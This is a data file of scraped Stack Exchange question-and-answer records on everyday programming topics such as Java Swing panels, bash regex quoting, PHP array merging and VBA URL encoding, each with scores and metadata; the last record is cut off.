{"id": "hf_050c777a5d8a", "question": "<p>To put it simple, there's a simple java swing app that consists of JFrame with some components in it. One of the components is a JPanel that is meant to be replaced by another JPanel on user action.</p>\n\n<p>So, what's the correct way of doing such a thing? I've tried</p>\n\n<pre><code>panel = new CustomJPanelWithComponentsOnIt();\nparentFrameJPanelBelongsTo.pack();\n</code></pre>\n\n<p>but this won't work. What would you suggest?</p>\n", "question_body": "", "answer": "```\n```\nframe.setContentPane(newContents());\nframe.revalidate(); // frame.pack() if you want to resize.\n```\n```\nRemember, Java use 'copy reference by value' argument passing. So changing a variable wont change copies of the reference passed to other methods.\nAlso note\n```\nJFrame\n```\nis very confusing in the name of usability. Adding a component or setting a layout (usually) performs the operation on the content pane. Oddly enough, getting the layout really does give you the frame's layout manager.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.688713"}
{"id": "hf_2b1e03868557", "question": "<p>The following code</p>\n\n<pre><code>number=1\nif [[ $number =~ [0-9] ]]\nthen\n  echo matched\nfi\n</code></pre>\n\n<p>works. If I try to use quotes in the regex, however, it stops:</p>\n\n<pre><code>number=1\nif [[ $number =~ \"[0-9]\" ]]\nthen\n  echo matched\nfi\n</code></pre>\n\n<p>I tried <code>\"\\[0-9\\]\"</code>, too. What am I missing?</p>\n\n<p>Funnily enough, <a href=\"http://www.tldp.org/LDP/abs/html/abs-guide.html#REGEXMATCHREF\" rel=\"noreferrer\">bash advanced scripting guide</a> suggests this should work.</p>\n\n<p>Bash version 3.2.39.</p>\n", "question_body": "", "answer": "It was changed\nbetween 3.1 and 3.2\n. Guess the advanced guide needs an update.\nThis is a terse description of the new\n  features added to bash-3.2 since the\n  release of bash-3.1.  As always, the\n  manual page (doc/bash.1) is the place\n  to look for complete descriptions.\nNew Features in Bash\nsnip\nf.  Quoting the string argument to the\n  [[ command's  =~ operator now forces\n      string matching, as with the other pattern-matching operators.\nSadly this'll break existing quote using scripts unless you had the insight to store patterns in variables and use them instead of the regexes directly. Example below.\n```\n```\n$ bash --version\nGNU bash, version 3.2.39(1)-release (i486-pc-linux-gnu)\nCopyright (C) 2007 Free Software Foundation, Inc.\n$ number=2\n$ if [[ $number =~ \"[0-9]\" ]]; then echo match; fi\n$ if [[ $number =~ [0-9] ]]; then echo match; fi\nmatch\n$ re=\"[0-9]\"\n$ if [[ $number =~ $re ]]; then echo MATCH; fi\nMATCH\n\n$ bash --version\nGNU bash, version 3.00.0(1)-release (i586-suse-linux)\nCopyright (C) 2004 Free Software Foundation, Inc.\n$ number=2\n$ if [[ $number =~ \"[0-9]\" ]]; then echo match; fi\nmatch\n$ if [[ \"$number\" =~ [0-9] ]]; then echo match; fi\nmatch\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.716614"}
{"id": "hf_4a12d0da2093", "question": "<p>Is there a nicer way of styling a <code>&lt;hr /&gt;</code> tag using CSS, that is cross-browser consistent and doesn't involve wrapping a <code>div</code> around it? I'm struggling to find one.</p>\n\n<p>The best way I have found, is as follows:</p>\n\n<p><strong>CSS</strong></p>\n\n<pre><code>.hr {  \n    height:20px;  \n    background: #fff url(nice-image.gif) no-repeat scroll center;  \n}  \nhr {  \n    display:none;  \n}\n</code></pre>\n\n<p><strong>HTML</strong></p>\n\n<pre><code>&lt;div class=\"hr\"&gt;&lt;hr /&gt;&lt;/div&gt;\n</code></pre>\n", "question_body": "", "answer": "If you set display to\n```\nblock\n```\nit should behave more like a\n```\n<div>\n```\n.\nYour answer you should remove hr altogether and just use the\n```\ndiv\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.743664"}
{"id": "hf_8d13348c75ab", "question": "<p>As web based designer who has designed web sites using tables but never with css, how can a novice get started with css?</p>\n\n<p><hr/>\n<strong>Related SO posts</strong></p>\n\n<p><a href=\"https://stackoverflow.com/questions/2084/can-you-recommend-a-good-css-online-resource-or-book\">SO - Css Book &amp; website for CSS</a></p>\n\n<p><a href=\"https://stackoverflow.com/questions/132587/the-best-css-tutorialsiteblogbook\">SO - Css blog</a></p>\n", "question_body": "", "answer": "Get started by reading tutorial web site first. This way, he will see how to create simple CSS and see the benefits.\nhttp://www.w3schools.com/css/\nhttp://www.echoecho.com/css.htm\nhttp://www.csstutorial.net/\nhttp://www.w3.org/Style/Examples/011/firstcss\nhttp://www.westciv.com/style_master/academy/css_tutorial/\nThan, I suggest since he knows how to design website to check other website source and see their CSS files.\nZen Garden\nis a good start.\nIf he requires more information, he can always get a book (I do not think it's necessary but if he wants a book), he could try\nCore-Css\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.776812"}
{"id": "hf_fead42fd7042", "question": "<p>I have the following arrays in PHP (okay they are a bit bigger but the idea is what counts).</p>\n\n<pre><code>$array1 = array(1 =&gt; 'a', 2 =&gt; 'b');\n$array2 = array(3 =&gt; 'c', 4 =&gt; 'd');\n</code></pre>\n\n<p>Essentially I want to combine the two arrays as if it were something like this</p>\n\n<pre><code>$array3 = array(1 =&gt; 'a', 2 =&gt; 'b', 3 =&gt; 'c', 4 =&gt; 'd');\n</code></pre>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Use\n```\n```\n$array3 = $array1 + $array2;\n```\n```\nSee\nArray Operators\nBy the way:\narray_merge()\ndoes something different with the arrays given in the example:\n```\n```\n$a1=array(1 => 'a', 2 => 'b');\n$a2=array(3 => 'c', 4 => 'd');\nprint_r($a1+$a2);\nArray\n(\n    [1] => a\n    [2] => b\n    [3] => c\n    [4] => d\n)\nprint_r(array_merge($a1, $a2));\nArray\n(\n    [0] => a\n    [1] => b\n    [2] => c\n    [3] => d\n)\n```\n```\nNote the different indexing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.824930"}
{"id": "hf_1ab05f8be213", "question": "<p>Is there a built-in way to URL encode a string in Excel VBA or do I need to hand roll this functionality?                             </p>\n", "question_body": "", "answer": "No, nothing built-in (\nuntil Excel 2013 -\nsee this answer\n).\nThere are three versions of\n```\nURLEncode()\n```\nin this answer.\nA function with UTF-8 support.\nYou should probably use this one\n(or\nthe alternative implementation\nby Tom) for compatibility with modern requirements.\nFor reference and educational purposes, two functions without UTF-8 support:\none found on a third party website, included as-is. (This was the first version of the answer)\none optimized version of that, written by me\nA variant that supports UTF-8 encoding and is based on\n```\nADODB.Stream\n```\n(include a reference to a recent version of the \"Microsoft ActiveX Data Objects\" library in your project):\n```\n```\nPublic Function URLEncode( _\n   ByVal StringVal As String, _\n   Optional SpaceAsPlus As Boolean = False _\n) As String\n  Dim bytes() As Byte, b As Byte, i As Integer, space As String\n\n  If SpaceAsPlus Then space = \"+\" Else space = \"%20\"\n\n  If Len(StringVal) > 0 Then\n    With New ADODB.Stream\n      .Mode = adModeReadWrite\n      .Type = adTypeText\n      .Charset = \"UTF-8\"\n      .Open\n      .WriteText StringVal\n      .Position = 0\n      .Type = adTypeBinary\n      .Position = 3 ' skip BOM\n      bytes = .Read\n    End With\n\n    ReDim result(UBound(bytes)) As String\n\n    For i = UBound(bytes) To 0 Step -1\n      b = bytes(i)\n      Select Case b\n        Case 97 To 122, 65 To 90, 48 To 57, 45, 46, 95, 126\n          result(i) = Chr(b)\n        Case 32\n          result(i) = space\n        Case 0 To 15\n          result(i) = \"%0\" & Hex(b)\n        Case Else\n          result(i) = \"%\" & Hex(b)\n      End Select\n    Next i\n\n    URLEncode = Join(result, \"\")\n  End If\nEnd Function\n```\n```\nThis function was\nfound on freevbcode.com\n:\n```\n```\nPublic Function URLEncode( _\n   StringToEncode As String, _\n   Optional UsePlusRatherThanHexForSpace As Boolean = False _\n) As String\n\n  Dim TempAns As String\n  Dim CurChr As Integer\n  CurChr = 1\n\n  Do Until CurChr - 1 = Len(StringToEncode)\n    Select Case Asc(Mid(StringToEncode, CurChr, 1))\n      Case 48 To 57, 65 To 90, 97 To 122\n        TempAns = TempAns & Mid(StringToEncode, CurChr, 1)\n      Case 32\n        If UsePlusRatherThanHexForSpace = True Then\n          TempAns = TempAns & \"+\"\n        Else\n          TempAns = TempAns & \"%\" & Hex(32)\n        End If\n      Case Else\n        TempAns = TempAns & \"%\" & _\n          Right(\"0\" & Hex(Asc(Mid(StringToEncode, _\n          CurChr, 1))), 2)\n    End Select\n\n    CurChr = CurChr + 1\n  Loop\n\n  URLEncode = TempAns\nEnd Function\n```\n```\nI've corrected a little bug that was in there.\nI would use more efficient (~2× as fast) version of the above:\n```\n```\nPublic Function URLEncode( _\n   StringVal As String, _\n   Optional SpaceAsPlus As Boolean = False _\n) As String\n\n  Dim StringLen As Long: StringLen = Len(StringVal)\n\n  If StringLen > 0 Then\n    ReDim result(StringLen) As String\n    Dim i As Long, CharCode As Integer\n    Dim Char As String, Space As String\n\n    If SpaceAsPlus Then Space = \"+\" Else Space = \"%20\"\n\n    For i = 1 To StringLen\n      Char = Mid$(StringVal, i, 1)\n      CharCode = Asc(Char)\n      Select Case CharCode\n        Case 97 To 122, 65 To 90, 48 To 57, 45, 46, 95, 126\n          result(i) = Char\n        Case 32\n          result(i) = Space\n        Case 0 To 15\n          result(i) = \"%0\" & Hex(CharCode)\n        Case Else\n          result(i) = \"%\" & Hex(CharCode)\n      End Select\n    Next i\n    URLEncode = Join(result, \"\")\n  End If\nEnd Function\n```\n```\nNote that neither of these two functions support UTF-8 encoding.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.848330"}
{"id": "hf_706b97b6d27c", "question": "<p>I have a Makefile building many C files with long long command lines and we've cleaned up the output by having rules such as:</p>\n\n<pre><code>.c${MT}.doj:\n\n        @echo \"Compiling $&lt;\";\\\n         $(COMPILER) $(COPTS) -c -o $@ $&lt;\n</code></pre>\n\n<p>Now this is great as the @ suppresses the compilation line being emitted.\nBut when we get an error, all we get is the error message, no command line.\nCan anyone think of a \"neat\" way to emit the command line?\nAll I can think of doing is echoing it to a file and have a higher level make catch the error and cat the file. Hacky I know.</p>\n", "question_body": "", "answer": "Tested and it worked (GNU make in Linux):\n```\n```\n.c${MT}.doj:\n     @echo \"Compiling $<\";\\\n          $(COMPILER) $(COPTS) -c -o $@ $<  \\\n          || echo \"Error in command: $(COMPILER) $(COPTS) -c -o $@ $<\" \\\n          && false\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.895692"}
{"id": "hf_1fddb79be6de", "question": "<p>I need to change in a text input the character '.' to ',' while typing.\nIn IE I change the keyCode event property in the keypress event, like this</p>\n\n<pre><code>document.getElementById('mytext').onkeypress = \n function (evt) {\n  var e = evt || window.event;\n  if (e.keyCode &amp;&amp; e.keyCode==46)\n   e.keyCode = 44;\n  else if (e.which &amp;&amp; e.which==46) {\n   e.which = 44;\n  }\n };\n</code></pre>\n\n<p>but it seemes that in Firefox it's impossible to change characters typed in key events. \nAny suggestions?</p>\n", "question_body": "", "answer": "Try this. It works on all browsers:\n```\n```\nwindow.onload = function () {\n    var input = document.getElementById(\"mytext\");\n\n    input.onkeypress = function () {\n        var evt = arguments[0] || event;\n        var char = String.fromCharCode(evt.which || evt.keyCode);\n\n        // Is it a period?\n        if (char == \".\") {\n            // Replace it with a comma\n            input.value += \",\";\n\n            // Cancel the original event\n            evt.cancelBubble = true;\n            return false;\n        }\n    }\n};\n```\n```\nUpdate:\nPier Luigi\npointed out a problem with the above. It doesn't take care of the caret position not being at the end of the text. It will append the command to the end even if you're inserting some text to the value.\nThe solution would be, instead of appending a comma, to simulate a keypress event for the comma key. Unfortunately the way dispatching of synthetic events work in different browsers seems to show a lot of variety and isn't an easy feat. I'll see if I can find a nice and generic method for it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.918422"}
{"id": "hf_45996c5ced0b", "question": "<p>Is there support in Ruby for (for lack of a better word) non-escaped (verbatim) strings?</p>\n\n<p>Like in C#:</p>\n\n<pre><code>@\"c:\\Program Files\\\"\n</code></pre>\n\n<p>...or in Tcl:</p>\n\n<pre><code>{c:\\Program Files\\}\n</code></pre>\n", "question_body": "", "answer": "Yes, you need to prefix your string with\n```\n%\n```\nand then a single character delineating its type.\nThe one you want is\n```\n%q{c:\\program files\\}\n```\n.\nThe pickaxe book covers this nicely\nhere,\nsection is General Delimited Input.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.952091"}
{"id": "hf_d4d307ec1e5d", "question": "<p>Looking for links to resources that will help me write a user guide for a software application. I'm after something that will help me to structure my guide, give it an appropriate writing style, and ensure that it has an excellent look and feel throughout. </p>\n", "question_body": "", "answer": "This link has some strong points. Each point is presented with clear speech and with inline justifications.\nWhen writing procedures, use the\n  active voice (e.g. Click this) and\n  address users directly (write \"you\"\n  rather than \"the user\").\nWhen explaining an action, use the\n  \"command\" form of the verb:\n\"Choose an option from the menu and\n  press [ENTER].\"\nhttp://www.klariti.com/technical-writing/User-Guides-Tutorial.shtml\nHere is the complete list of the topics covered on the aforementioned article:\nFront Page (cover pages)\nCover and Title Page\nDisclaimer\nPreface\nContents\nBody of the guide\nProcedures\nWriting procedures\nChunking text\nNumber your steps\nUsing the If-Then Approach\nReference Materials\nBack Matter\nGlossary\nIndex\nEstablishing Standards\nDocument Format\nStructure Style\nTechnical Language\nAddressing the User\nPresenting your material\nSpecial Requirements", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.020912"}
{"id": "hf_0828c665bdd5", "question": "<p>Is is possible to write MS SQL Server add-in? I'm thinking of some application integrated with database server available form SQL Server Enterprise Manager.</p>\n", "question_body": "", "answer": "You can include a lot into MS SQL server 2005 and 2008 database. Including .Net code. \nBut there is no real way to extend (create plugin for) the Management Studio. (Formerly Enterprise Manager.)\nHowever there are database management addins for Visual Studio (especially in Team System). Maybe there you can implement what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.108605"}
{"id": "hf_70ad403fab25", "question": "<p>I have a custom class that implements that IComparable.  This class is stored in a Generic List.  I now need to compare to lists to see which objects are in list A but not in list B.  </p>\n\n<p>I thought the most simple way of doing this would be to iterate through list B and do A.contains().</p>\n\n<p>I do not know how to get it to use my CompareTo() (or another method that I can override so that I can say if it contains a certain object or not).  I could be wrong but as I understand it the contains checks if the objects are actually the same (i.e. points to the same place in memory).</p>\n\n<p>Could anyone help me please?</p>\n", "question_body": "", "answer": "Why don't you just override the\n```\nEquals\n```\nmethod of your class to be consistent in meaning with\n```\nCompareTo(other) == 0\n```\n? This is the simplest way and also the most idiomatic since, as you've noticed,\n```\nContains\n```\ncompares equality rather than using\n```\nCompareTo\n```\n. However, this check is done via\n```\nEquals\n```\n. It does\nnot\ncheck whether the objects point to the same memory location.\n/EDIT: Additionally, if you're using .NET 3.5 you can use the\n```\nContains\n```\noverload that accepts an\n```\nIEqualityComparer\n```\nargument. You can use this to provide a class that implements a custom equality relation for your class type. However, I think the first method is more appropriate in your case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.167249"}
{"id": "hf_4ac2564985b6", "question": "<p>What are Null Pointer Exceptions (<code>java.lang.NullPointerException</code>) and what causes them?</p>\n\n<p>What methods/tools can be used to determine the cause so that you stop the exception from causing the program to terminate prematurely?</p>\n", "question_body": "", "answer": "```\nNullPointerException\n```\ns are exceptions that occur when you try to use a reference that points to no location in memory (null) as though it were referencing an object.  Calling a method on a null reference or trying to access a field of a null reference will trigger a\n```\nNullPointerException\n```\n.  These are the most common, but other ways are listed on the\n```\nNullPointerException\n```\njavadoc page.\nProbably the quickest example code I could come up with to illustrate a\n```\nNullPointerException\n```\nwould be:\n```\n```\npublic class Example {\n\n    public static void main(String[] args) {\n        Object obj = null;\n        obj.hashCode();\n    }\n\n}\n```\n```\nOn the first line inside\n```\nmain\n```\n, I'm explicitly setting the\n```\nObject\n```\nreference\n```\nobj\n```\nequal to\n```\nnull\n```\n.  This means I have a reference, but it isn't pointing to any object.  After that, I try to treat the reference as though it points to an object by calling a method on it.  This results in a\n```\nNullPointerException\n```\nbecause there is no code to execute in the location that the reference is pointing.\n(This is a technicality, but I think it bears mentioning: A reference that points to null isn't the same as a C pointer that points to an invalid memory location.  A null pointer is literally not pointing\nanywhere\n, which is subtly different than pointing to a location that happens to be invalid.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.190450"}
{"id": "hf_91ceccd99ac7", "question": "<p>I want to stitch 2 pieces of png side by side. In Cocoa, I would use [NSImage initWithSize], and then just drawInRect. </p>\n\n<p>But UIImage don't have initWithSize class, how would I do this now?</p>\n", "question_body": "", "answer": "Use\n```\nUIGraphicsBeginImageContext()\n```\n, draw in it, then use\n```\nUIGraphicsGetImageFromCurrentImageContext()\n```\n. Remember to pop the context with\n```\nUIGraphicsEndImageContext()\n```\nafterwards.\nYou should avoid creating an extra image if you simply want to display the two images onscreen, due to the limited memory available on the device. Instead, display them using appropriate\n```\ndrawInRect:\n```\ncalls to avoid copying.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.214452"}
{"id": "hf_bdc671c2061c", "question": "<p>What's the advantage of passing data as parameters vs part of the URL in an Ajax GET request?</p>\n\n<p>Using parameters:</p>\n\n<pre><code>var ajax = new Ajax.Request('server.php',{\n    parameters: 'store=11200&amp;product=Meat',\n    onSuccess: function(myData){whatever}\n});\n</code></pre>\n\n<p>Using URL:</p>\n\n<pre><code>var ajax = new Ajax.Request('server.php?store=11200&amp;product=Meat',{\n    onSuccess: function(myData){whatever}\n});\n</code></pre>\n", "question_body": "", "answer": "One advantage to using the\n```\nparameters\n```\nargument is that you can pass it a\n```\nHash\n```\n-like object instead of as a string. (If you do this, though, make sure so set the\n```\nmethod\n```\nparameter to\n```\n\"GET\"\n```\n, as the default method for Prototype Ajax requests is POST; see\nthe Prototype Introduction to Ajax\nfor more details.)\nAnother advantage, which is more in-line with the example that you gave, is that you can separate the request URL from the options that are sent to it. This might be useful if, for example, you need to send a bunch of similar requests to several different URLs. (In that case, having a common parameters\n```\nHash\n```\nthat you modify for each request might be more useful, than using a parameter string, as well.)\nFor more information, see\nthe Prototype documentation of Ajax options\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.238279"}
{"id": "hf_5110c925e088", "question": "<p>I was wondering if there was a good way to monitor a document library on SharePoint for changes (new files added, files changed / checked-in, files deleted, etc.)</p>\n\n<p>Basically, what <code>System.IO.FileSystemWatcher</code> does on local / network directories.</p>\n\n<p>Are there events that get fired when documents are uploaded to document libraries?</p>\n\n<p>Perhaps creating a workflow on the document library that fires onCreate / onModify would be better?</p>\n\n<p>Any suggestions are welcome.</p>\n", "question_body": "", "answer": "Take a look at event receivers for lists/document libraries.  There are both synchronous and asynchronous options built into the object model. (ItemAdded, ItemAdding, ItemUpdated, ItemUpdating ... and so on.)\nThe following site should give you a good start:\nhttp://www.davehunter.co.uk/Blog/Lists/Posts/Post.aspx?List=f0e16a1a%2D6fa9%2D4130%2Dbcab%2Dbaeb97ccc4ff&ID=69", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.273962"}
{"id": "hf_4effcae107bb", "question": "<p>Suppose we have the following code:</p>\n\n<pre><code>ExpressionHelper.GetRouteValuesFromExpression&lt;AccountController&gt;(ax =&gt; ax.MyAction(\"a\", \"b\"));\n</code></pre>\n\n<p>(from ASP.NET MVC Futures assembly). Method is reasonably fast - it executes 10k iterations in 150ms.</p>\n\n<p>Now, we change code to this:</p>\n\n<pre><code>string a = \"a\";\nstring b = \"b\";\nExpressionHelper.GetRouteValuesFromExpression&lt;AccountController&gt;(ax =&gt; ax.MyAction(a, b));\n</code></pre>\n\n<p>This code will execute 10k iterations in 15 <strong>seconds</strong></p>\n\n<p>The problem is the following code:</p>\n\n<pre><code>Expression&lt;Func&lt;object&gt;&gt; lambdaExpression = Expression.Lambda&lt;Func&lt;object&gt;&gt;(Expression.Convert(arg, typeof (object)));\n\nFunc&lt;object&gt; func = lambdaExpression.Compile();\n\nvalue = func()\n</code></pre>\n\n<p>Is there a better way to get value from expression than compiling expression every time? This can greatly affect ASP.NET MVC link generation speed.</p>\n", "question_body": "", "answer": "Why don't you just cache the value of the expression and its compiled value locally if this is such a bottleneck? I imagine a simply Dictionary could do the trick:\n```\n```\nDictionary<Expression<Action<T>>, Action<T>> m_Cache =\n    new Dictionary<Expression<Action<T>>, Action<T>>();\n\npublic void GetRouteValuesFromExpression<T>(Expression<Action<T>> expr) {\n    Action<T> compiled = null;\n    if (!m_Cache.TryGetValue(expr, ref compiled)) {\n        compiled = expr.Compile();\n        m_Cached.Add(expr, compiled);\n    }\n    // execute …\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.297611"}
{"id": "hf_ebe40f9064b5", "question": "<p>What is the best way to actively monitor if a .NET Windows service is still running (e.g not hung)?  The service needs to periodically respond to events raised by a timer.</p>\n\n<p>Thanks</p>\n\n<p>Jon</p>\n", "question_body": "", "answer": "\"Not hung\" is always a hard condition to definitively detect, and will depend on the details of your service.\nIn general any form of interprocess communication can be used.  One simple approach is to create a\nnamed\nshared memory mapping and simply write information to it periodically from your service.  Another process can monitor the shared memory and see if its state stops changing.\nThe advantage of this approach is that you can extend the shared memory block to include other diagnostics which may help diagnose any issues.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.325558"}
{"id": "hf_1d9b07eb1ec3", "question": "<p>Part of my latest webapp needs to write to file a fair amount as part of its logging. One problem I've noticed is that if there are a few concurrent users, the writes <em>can</em> overwrite each other (instead of appending to file). I assume this is because of the destination file can be open in a number of places at the same time.</p>\n\n<p><code>flock(...)</code> is usually superb but it doesn't appear to work on NFS... Which is a huge problem for me as the production server uses a NFS array.</p>\n\n<p>The closest thing I've seen to an actual solution involves trying to create a lock dir and waiting until it can be created. To say this lacks elegance is understatement of the year, possibly decade.</p>\n\n<p>Any better ideas?</p>\n\n<p>Edit: I should add that I don't have root on the server and doing the storage in another way isn't really feasible any time soon, not least within my deadline.</p>\n", "question_body": "", "answer": "Another dirty hack would be to\n```\nflock()\n```\na \"local\" file, and only open / write to the NFS file if you hold the lock on the local file.\nEdit: from the\n```\nflock()\n```\npage:\nflock() will not work on NFS and many\n  other networked file systems. Check\n  your operating system documentation\n  for more details.\nEdit 2:\nOf course there's always using the database to synchonise access (I'm assuming your app uses a db).  This would be quite a performance hit if you're doing a lot of logging though.\nIf it's just for logging, do you actually need a centralised log file?  Could you log locally (and even combine the logs when they rotate at the end of the day if needed)?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.349228"}
{"id": "hf_982008ae42d6", "question": "<p>I would like to know what is the difference between initializing a static member inline as in:</p>\n\n<pre><code>class Foo\n{\n    private static Bar bar_ = new Bar();\n}\n</code></pre>\n\n<p>or initializing it inside the static constructor as in:</p>\n\n<pre><code>class Foo\n{\n    static Foo()\n    {\n        bar_ = new Bar();\n    }\n    private static Bar bar_;\n}\n</code></pre>\n", "question_body": "", "answer": "In this case I don't believe there si any practical difference. If you need some logic in initializing the static variables - like if you would want to use different concrete types of an interface given different conditions - you would use the static constructor. Else, the inline initialization is fine in my book.\n```\n```\nclass Foo\n{\n    private static IBar _bar;\n\n    static Foo()\n    {\n        if(something)\n        {\n            _bar = new BarA();\n        }\n        else\n        {\n            _bar = new BarB();\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.372802"}
{"id": "hf_a113e5950422", "question": "<p>Specifically, I want to copy a link (with text and location) and then to be able to paste it, e.g., into Word as a link.</p>\n", "question_body": "", "answer": "dig around inside\nDownload of the Day: AutoCopy Firefox extension\nor\nClipboard-Save-As 1.0.4", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.396110"}
{"id": "hf_4110da387df7", "question": "<p>At a new job I started, we have both a Java application that handles most of the heavy lifting in the core business logic, and we also have a Rails application that of course handles the web interface to this server.  Both of these access the same database.</p>\n\n<p>Up until now, most of the focus has been on the Java application, and as such, there are no migrations in the Rails project.  The sql to update the shared database is managed in a file like changes.sql.</p>\n\n<p>As you can imagine, this makes it somewhat difficult to develop.</p>\n\n<p>My initial thought was to combine the codebases for the Java project and the Rails application, because there is a dependency there, and to manage that SQL file in the source.  However, I thought I'd ask here to see if anyone else had tackled this issue with some degree of success.</p>\n", "question_body": "", "answer": "One approach is to use the rails migration tools, generate the DDL files for the database and use Hibernate to update the Java objects that relate to specific database entities.  You don't really say how you manage database changes on the Java side or whether you use an ORM, but you can certainly synchronize the two with a little work.\nOr you can go the other way around and let the Java definitions control changes on the Rails side.\nI think the key to doing this successfully is to select one of the two platforms as your \"primary database modeller\" and develop the process to migrate that model to the other platform.  Attempting to allow changes from both will only cause headaches.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.441687"}
{"id": "hf_cca5680fe318", "question": "<p>Is it possible to configure Windows Servers that reside on the same domain such that when a web service call is made from a web app using an IP address, the request does not go via a proxy server?</p>\n\n<p>The web service is running on one of the servers on the domain. </p>\n\n<p>I want to configure IP based security on the server that hosts the web service such that it only allows connections from specific servers.  Currently all requests go via the proxy server rendering IPSec problematic.</p>\n\n<p>Within the browser I can specify that requests following a specific pattern should bypass the proxy server.  It's essentially this behaviour I want to replicate with the servers.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "With ASMX the proxy can be set on the Proxy property:\nhttp://johnwsaundersiii.spaces.live.com/blog/cns!600A2BE4A82EA0A6!435.entry\nWith WCF, this is part of the binding configuration:\nhttp://blogs.infosupport.com/porint/archive/2007/08/14/Configuring-a-proxy_2D00_server-for-WCF.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", 